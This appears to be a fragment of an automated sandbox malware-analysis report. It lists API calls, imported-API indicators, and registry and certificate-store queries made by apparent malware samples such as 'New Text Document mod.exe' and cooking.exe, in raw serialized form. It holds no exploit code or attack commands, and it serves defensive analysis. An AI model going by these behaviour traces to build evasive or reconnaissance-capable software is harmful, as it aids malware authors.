1c0100000a000000000000005d5800000200000000000000f06d501c00000000ec3a521c00000000003a521c00000000d89b2f0100000000c89b2f0100000000c89b2f0101000000d89d2f01000000004873f46bfb7f00000000000000000000f06d501c00000000ef5ec068fb7f0000801d1169fb7f000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000a63a521c00000000be3a521c00000000a63a521c00000000ec3a521c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a63a521c (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000106c501c000000004a30521c00000000602f521c00000000d89b2f0100000000c89b2f0100000000c89b2f0101000000d89d2f01000000004873f46bfb7f00000000000000000000106c501c00000000ef5ec068fb7f0000801d1169fb7f000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000630521c000000001c30521c000000000630521c000000004a30521c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000630521c (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000e0184f0100000000fc3b521c00000000103b521c00000000d89b2f0100000000c89b2f0100000000c89b2f0101000000d89d2f01000000004873f46bfb7f00000000000000000000e0184f0100000000ef5ec068fb7f0000801d1169fb7f000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000b63b521c00000000ce3b521c00000000b63b521c00000000fc3b521c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b63b521c (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000502a4f01000000008c45521c00000000a044521c00000000d89b2f0100000000c89b2f0100000000c89b2f0101000000d89d2f01000000004873f46bfb7f00000000000000000000502a4f0100000000ef5ec068fb7f0000801d1169fb7f000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000004645521c000000005e45521c000000004645521c000000008c45521c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004645521c (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "RtlGetVersion" with parameter 000000000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002000)3c:Tbb6,"cooking.exe" called "GetVersionExA" with parameter 940000000a000000000000005d580000020000000000000000000000f67f000048dff741fb7f0000b797a06b00000000180b0000000000000a000000f67f0000180b0000f67f00006900000000000000030000000000000003000000000000000a00000000000000f098af59f67f000000000000000000000000000000000000b797a06b000000000000af59f67f000000000000 (UID: 00000000-00005036) "irsetup.exe" called "GetVersionExA" with parameter 940000000a000000000000005d5800000200000000fd1c01000047011c00a100640000002d001e00b8547b01000000001e0000000000000040227d01df2a7d01e02a7d01a8547b0100007b011d10017750fd1c01a6eb1e77000000000000000000000000b4e0e800b3c1000078fd1c01900f017700007b0100000000e02a7d0170e9e80038003a00e02a7d0168fd1c0101000000 (UID: 00000000-00005524) "irsetup.exe" called "GetVersionExA" with parameter 940000000a000000000000005d5800000200000000000000b000000010469703604597031700000018fd1c0118fd1c01c720c40038e4e80070e9e80000d02c0134fd1c0171d1c3002cfd1c018489c40098dffa006cfd1c0186a5c30008000000eed1c300e8d1c300cb95ee7a38e4e80070e9e80000d02c0147b3e80040fd1c01df95ee7a04fe1c01a0e1c300d72e057bfeffffff (UID: 00000000-00005524) "irsetup.exe" called "GetVersionExA" with parameter 940000000a000000000000005d580000020000000015ac03dc073c0364000000dc00bf00d82b710600000000bf0000000000000078bcc8067ff8c80680f8c806c82b71060000c3030c18e90048f21c01a6eb1e7700000000000000000000000000000000304ffa005cf21c018391c3000000c3030000000080f8c80668f21c01ca89b30080f8c8067cf21c016f12a80080f8c806 (UID: 00000000-00005524) "irsetup.exe" called "GetVersionExA" with parameter 940000000a000000000000005d5800000200000000f81c01e74907775042fc01000000000000000001000000d0f81c010e560777580302001e000000425607771f560777f2910c771e0000005042fc01000000000100000000000000a0f81c01804e017764fa1c01804e0177eab71701feffffff30f91c0113f0ff76580302001e00000000000000000000001e00000058030200 (UID: 00000000-00005524) "irsetup.exe" called "GetVersionExA" with parameter 9c0000000a000000000000005d580000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005524) "irsetup.exe" called "GetVersionExA" with parameter 940000000a000000000000005d58000002000000000000000000000000e82c01e6270077fcdf9703fcdf9703000000002845187504f7e8003f08010100000000abe20077e8c50000401b227d00000000941500003f0801ffffffffff9415000001010104401b227d000000003f0801ffffffffff9415000001010104401b227d00000000b84a97034c604a75380501773f080101 (UID: 00000000-00005524) "irsetup.exe" called "GetVersionExA" with parameter 940000000a000000000000005d580000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005524)3d:T478,Observed import api "OpenProcessToken" which can be "used to retrieve process information" [Source: GL0ygTD.exe] Observed import api "OpenProcessToken" which can be "used to retrieve process information" [Source: BrowserInstaller.exe] Observed import api "OpenProcessToken" which can be "used to retrieve process information" [Source: 0rXld4E.exe] Observed import api "OpenProcessToken" which can be "used to retrieve process information" [Source: rabert.exe] Observed import api "OpenProcessToken" which can be "used to retrieve process information" [Source: 8RsL970.exe] Observed import api "OpenProcessToken" which can be "used to retrieve process information" [Source: Setup.exe] Observed import api "OpenProcessToken" which can be "used to retrieve process information" [Source: random.exe] Observed import api "OpenProcessToken" which can be "used to retrieve process information" [Source: cooking.exe] Observed import api "OpenProcessToken" which can be "used to retrieve process information" [Source: fzCgCtE.exe] Observed import api "OpenProcessToken" which can be "used to retrieve process information" [Source: vulkan-1.dll]3e:T4f4,Found reference to API "GetSystemTime" (Indicator: "GetSystemTime"; File: "New Text Document mod.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; File: "New Text Document mod.exe") Found reference to API "GetLocalTime" (Indicator: "GetLocalTime"; File: "New Text Document mod.exe") Found reference to API "GetSystemTimePreciseAsFileTime" (Indicator: "GetSystemTime"; File: "New Text Document mod.exe") Found reference to API "GetLocalTime" (Indicator: "GetLocalTime"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "GetSystemTime" (Indicator: "GetSystemTime"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp")3f:T801,"NewTextDocumentmod.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "NewTextDocumentmod.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "cooking.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cooking.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "TLauncher-Installer-1.9.4.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "TLauncher-Installer-1.9.4.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "lJ5IwxN.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "irsetup.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "elf.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "sys.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "sup.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "tmp.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED")40:T950,Found reference to API "FileTimeToLocalFileTime" (Indicator: "FileTimeToLocalFileTime"; File: "New Text Document mod.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "New Text Document mod.exe") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; File: "New Text Document mod.exe") Found reference to API "GetFileTime" (Indicator: "GetFileTime"; File: "New Text Document mod.exe") Found reference to API "SystemTimeToFileTime" (Indicator: "SystemTimeToFileTime"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "SystemTimeToFileTime" (Indicator: "SystemTimeToFileTime"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "GetFileTime" (Indicator: "GetFileTime"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "FileTimeToLocalFileTime" (Indicator: "FileTimeToLocalFileTime"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "FileTimeToLocalFileTime" (Indicator: "FileTimeToLocalFileTime"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "GetFileTime" (Indicator: "GetFileTime"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "SystemTimeToFileTime" (Indicator: "SystemTimeToFileTime"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp")41:T4f4,Found reference to API "GetSystemTime" (Indicator: "GetSystemTime"; File: "New Text Document mod.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; File: "New Text Document mod.exe") Found reference to API "GetLocalTime" (Indicator: "GetLocalTime"; File: "New Text Document mod.exe") Found reference to API "GetSystemTimePreciseAsFileTime" (Indicator: "GetSystemTime"; File: "New Text Document mod.exe") Found reference to API "GetLocalTime" (Indicator: "GetLocalTime"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "GetSystemTime" (Indicator: "GetSystemTime"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp")42:T8fd,Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; File: "00000000-00001088.00000000.271453.00D51000.00000020.mdmp") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; File: "New Text Document mod.exe") Found reference to API "GetWindowTextLengthW" (Indicator: "GetWindowText"; File: "New Text Document mod.exe") Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; File: "New Text Document mod.exe") Found reference to API "FindWindowW" (Indicator: "FindWindow"; File: "New Text Document mod.exe") Found reference to API "FindWindowA" (Indicator: "FindWindow"; File: "New Text Document mod.exe") Found reference to API "EnumWindows" (Indicator: "EnumWindows"; File: "New Text Document mod.exe") Found reference to API "GetWindowTextA" (Indicator: "GetWindowText"; File: "New Text Document mod.exe") Found reference to API "GetWindowTextLengthA" (Indicator: "GetWindowText"; File: "New Text Document mod.exe") Found reference to API "EnumWindows" (Indicator: "EnumWindows"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "GetWindowTextLengthA" (Indicator: "GetWindowText"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "GetWindowTextA" (Indicator: "GetWindowText"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "FindWindowA" (Indicator: "FindWindow"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "GetWindowTextLengthW" (Indicator: "GetWindowText"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp")43:Ta93,Found reference to API "!This program cannot be run in DOS mode.RichW.text`.rdata@.relocQSUV^][YD$ EHD$ uDisableThreadLibraryCallsKERNEL32.dllISCrypt.dllArcFourCryptArcFourInitISCryptGetVersion" (Indicator: "GetVersion"; File: "_iscrypt.dll") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; File: "New Text Document mod.exe") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; File: "New Text Document mod.exe") Found reference to API "DllGetVersion" (Indicator: "GetVersion"; File: "00000000-00001088.00000000.271453.00D51000.00000020.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; File: "New Text Document mod.exe") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; File: "New Text Document mod.exe") Found reference to API "GetVersion" (Indicator: "GetVersion"; File: "New Text Document mod.exe") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; File: "New Text Document mod.exe") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; File: "New Text Document mod.exe") Found reference to API "GetVersion" (Indicator: "GetVersion"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "DllGetVersion" (Indicator: "GetVersion"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "GetVersion" (Indicator: "GetVersion"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp")44:T8dc,"NewTextDocumentmod.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "NewTextDocumentmod.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{45F5205B-FA7A-11ED-8886-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "NewTextDocumentmod.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: ""; Value: "") "NewTextDocumentmod.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "REGISTRATIONENABLED"; Value: "") "NewTextDocumentmod.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "REGISTERADAPTERNAME"; Value: "") "NewTextDocumentmod.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "ENABLEMULTICAST"; Value: "") "NewTextDocumentmod.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "QUERYADAPTERNAME"; Value: "") "NewTextDocumentmod.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "DOMAIN"; Value: "") "NewTextDocumentmod.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "SEARCHLIST"; Value: "") "NewTextDocumentmod.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "NAMESERVER"; Value: "") "NewTextDocumentmod.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "PROFILENAMESERVER"; Value: "") "NewTextDocumentmod.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{45F5205B-FA7A-11ED-8886-806E6F6E6963}"; Key: ""; Value: "")45:T55c,"NewTextDocumentmod.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\02.08.2022.EXE") "NewTextDocumentmod.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\COOKING.EXE") "NewTextDocumentmod.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\TLAUNCHER-INSTALLER-1.9.4.EXE") "NewTextDocumentmod.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\LJ5IWXN.EXE") "NewTextDocumentmod.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\ELF.EXE") "NewTextDocumentmod.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\SYS.EXE") "NewTextDocumentmod.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\SUP.EXE") "NewTextDocumentmod.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\TMP.EXE") "NewTextDocumentmod.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\CRYPTED_GUARDFILE.EXE") "NewTextDocumentmod.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\RANDOM.EXE") "NewTextDocumentmod.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\RABERT.EXE") "NewTextDocumentmod.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\DOCX.EXE") "NewTextDocumentmod.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\WINDOW.EXE")46:Tacb,"NewTextDocumentmod.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "NewTextDocumentmod.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "NewTextDocumentmod.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "NewTextDocumentmod.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "NewTextDocumentmod.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "NewTextDocumentmod.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "NewTextDocumentmod.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "NewTextDocumentmod.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "NewTextDocumentmod.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "NewTextDocumentmod.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "NewTextDocumentmod.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "NewTextDocumentmod.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "NewTextDocumentmod.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "NewTextDocumentmod.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "NewTextDocumentmod.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "NewTextDocumentmod.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "NewTextDocumentmod.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "NewTextDocumentmod.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "NewTextDocumentmod.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "NewTextDocumentmod.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "NewTextDocumentmod.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "NewTextDocumentmod.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") "NewTextDocumentmod.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "") "NewTextDocumentmod.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS"; Key: "") "NewTextDocumentmod.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "")47:T63a,"NewTextDocumentmod.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "NewTextDocumentmod.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "NewTextDocumentmod.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "NewTextDocumentmod.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "NewTextDocumentmod.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "NewTextDocumentmod.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "NewTextDocumentmod.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "NewTextDocumentmod.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\109F1CAED645BB78B3EA2B94C0697C740733031C"; Key: "BLOB") "NewTextDocumentmod.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\D559A586669B08F46A30A133F8A9ED3D038E2EA8"; Key: "BLOB") "NewTextDocumentmod.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\FEE449EE0E3965A5246F000E87FDE2A065FD89D4"; Key: "BLOB") "NewTextDocumentmod.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "NewTextDocumentmod.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS\A377D1B1C0538833035211F4083D00FECC414DAB"; Key: "BLOB") "NewTextDocumentmod.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "NewTextDocumentmod.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: 